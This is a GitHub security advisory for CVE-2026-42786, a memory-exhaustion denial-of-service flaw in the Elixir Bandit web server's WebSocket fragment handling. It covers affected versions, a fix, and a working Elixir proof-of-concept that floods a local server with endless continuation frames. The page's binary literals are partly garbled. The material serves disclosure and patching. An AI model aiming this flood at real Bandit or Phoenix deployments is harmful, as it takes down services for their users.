GitHub Advisoryadvisory · Hex

GHSA-pf94-94m9-536p Bandit Buffers Unbounded WebSocket Continuation Frames, Allowing Unauthenticated Memory Exhaustion

HIGH Published 2026-05-07 Modified 2026-05-07 Official page ↗
Aliases
CVE-2026-42786
Ecosystem
Hex
Packages
bandit
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-770
Reviewed
2026-05-07

Affected packages

• Hex bandit: >= 0.5.0, < 1.11.0 → fixed in 1.11.0

Description

Summary A single unauthenticated WebSocket client can exhaust server memory in any Bandit-fronted application that accepts WebSocket connections. The fragmented-message reassembly path appends every `Continuation{fin: false}` frame's payload to a per-connection iolist with no cumulative size cap, so a peer that streams continuation frames indefinitely (never setting `fin=1`) grows BEAM heap linearly until the OS or a supervisor kills the process. `max_frame_size` only bounds individual frames; there is no `max_message_size` option available today. Details The bug is in `lib/bandit/websocket/connection.ex`, in the fragment branch of `handle_frame/3` (around lines 80–95). When a non-final continuation arrives, Bandit builds the next accumulator as `[connection.fragment_frame.data | frame.data]` with no running byte-count check. A peer can therefore stream max-sized continuations forever and grow BEAM resident memory without bound. When `fin=1` finally arrives (if ever), `IO.iodata_to_binary/1` flattens the whole iolist, briefly doubling peak memory. The attacker does not need to send `fin=1` — simply holding the connection open is enough to pin the bytes. Suggested fix: track a running cumulative byte count on the connection state and add a configurable `max_message_size`. When exceeded, terminate the connection with RFC 6455 close code 1009 (`:max_message_size_exceeded`) instead of continuing to append. PoC A self-contained reproduction script is below. It starts Bandit 1.10 on `127.0.0.1:4321` with a trivial `WebSock` echo handler, completes a WebSocket handshake, sends one text frame with `fin=0`, then streams up to 4096 continuation frames of 1 MiB each — also `fin=0`. A background sampler logs `:erlang.memory(:total)` every 250 ms. A correctly-fixed server would close the connection with code 1009 once `max_message_size` is exceeded. Impact Unauthenticated DoS via memory exhaustion. A single connection can drive BEAM heap to gigabytes; a small number of concurrent connections OOM-kills the host. Affected by default. No opt-in flag, no configuration option to mitigate. Any Phoenix application is on the vulnerable path: Phoenix Channels and LiveView both run over `WebSock` on Bandit, so a stock Phoenix app exposes this surface as soon as it accepts socket connections — including the LiveView socket that almost every Phoenix 1.7+ app mounts at `/live`. Plug apps that mount any custom `WebSock` handler are equally affected. Applications that expose no WebSocket endpoints are not. The exploit also survives almost every common deployment topology: L4 load balancers, HTTP-mode reverse proxies, and TLS-terminating edge proxies (Cloudflare, Fly.io, Fastly, etc.) all tunnel post-upgrade WebSocket frames opaquely without inspecting size. There is no application-level workaround either — the accumulation happens *before* `WebSock.handle_in/2` is called, so by the time the application could check, Bandit has already buffered the iolist. The fix belongs in Bandit. Script and Logs ```elixir Bandit WebSocket fragmented-message accumulation PoC. lib/bandit/websocket/connection.ex:80-95 appends every incoming Continuation{fin: false} frame's payload to connection.fragment_frame.data as iodata, with no cumulative cap. `max_frame_size` only bounds *each* frame; a peer that streams an unbounded number of max-sized continuations without ever setting fin=1 grows the iolist linearly in BEAM memory until the OS kills the process. The eventual IO.iodata_to_binary/1 in the fin=true branch also momentarily doubles peak memory. This script starts Bandit 1.10 on 127.0.0.1:4321, opens a WebSocket, sends one text frame with fin=0 followed by a continuous stream of continuation frames (also fin=0), and samples BEAM memory while doing so. A correct server would close the connection with 1009 once a configured max-message-size is exceeded; the buggy server keeps growing. Run: elixir scripts/bandit/ws_fragment_memory_exhaustion.exs Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"}, {:websock_adapter, "~> 0.5"} ]) defmodule EchoSocket do @behaviour WebSock def init(_opts), do: {:ok, %{}} def handle_in(_message, state), do: {:ok, state} def handle_info(_message, state), do: {:ok, state} def terminate(_reason, state), do: {:ok, state} end defmodule DemoApp do @behaviour Plug def init(opts), do: opts def call(conn, _opts) do conn |> WebSockAdapter.upgrade(EchoSocket, %{}, []) |> Plug.Conn.halt() end end defmodule FragmentFlood do @port 4321 @fragment_payload_bytes 1 * 1024 * 1024 @fragment_count 4096 @sample_every_ms 250 def run do {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port) sock = ws_handshake!() sampler_pid = spawn_link(&sample_memory_loop/0) payload_chunk = :binary.copy(>, @fragment_payload_bytes) starting_text_frame = build_frame(0x1, _fin = false, payload_chunk) continuation_frame = build_frame(0x0, _fin = false, payload_chunk) log("Sending start text frame (fin=0, #{@fragment_payload_bytes} bytes).") :ok = :gen_tcp.send(sock, starting_text_frame) log("Streaming #{@fragment_count} continuation frames (fin=0, #{@fragment_payload_bytes} bytes each).") Enum.each(1..@fragment_count, fn index -> case :gen_tcp.send(sock, continuation_frame) do :ok -> if rem(index, 64) == 0 do log("Sent #{index}/#{@fragment_count} continuations (~#{div(index * @fragment_payload_bytes, 1024 * 1024)} MiB accumulated).") end {:error, reason} -> log("Server closed connection after #{index} continuations: #{inspect(reason)}") throw(:server_closed) end end) log("Finished sending. Never sent fin=1 — server should still be holding the iolist.") Process.sleep(2_000) Process.unlink(sampler_pid) Process.exit(sampler_pid, :kill) :gen_tcp.close(sock) log("Done.") catch :server_closed -> log("Server appears to enforce a cap — bug not present or mitigated.") end defp ws_handshake! do {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false]) ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64() :ok = :gen_tcp.send(sock, """ GET / HTTP/1.1\r Host: 127.0.0.1\r Upgrade: websocket\r Connection: Upgrade\r Sec-WebSocket-Key: #{ws_key}\r Sec-WebSocket-Version: 13\r \r """) {:ok, response} = :gen_tcp.recv(sock, 0, 5_000) if not (response =~ "101 Switching Protocols"), do: raise("WebSocket handshake failed:\n#{response}") log("Handshake complete.") sock end # Build a single masked WebSocket frame. fin controls bit 0 of byte 0; # opcode is the low nibble. Client→server frames must be masked per RFC 6455. defp build_frame(opcode, fin, payload) do fin_bit = if fin, do: 1, else: 0 mask = :crypto.strong_rand_bytes(4) payload_size = byte_size(payload) mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size) masked_payload = :crypto.exor(payload, mask_stream) length_bytes = cond do payload_size > payload_size > true -> > end > end defp sample_memory_loop do log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB") Process.sleep(@sample_every_ms) sample_memory_loop() end defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}") end FragmentFlood.run() ``` ```logs 13:04:30.778 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [11:04:30.812] Handshake complete. [11:04:30.815] [mem] BEAM total = 49 MiB [11:04:30.823] Sending start text frame (fin=0, 1048576 byt…

Related

Alias · CVE (1)

  • CVE-2026-42786 Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via… vulnerability

Weakness · CWE (1)

  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References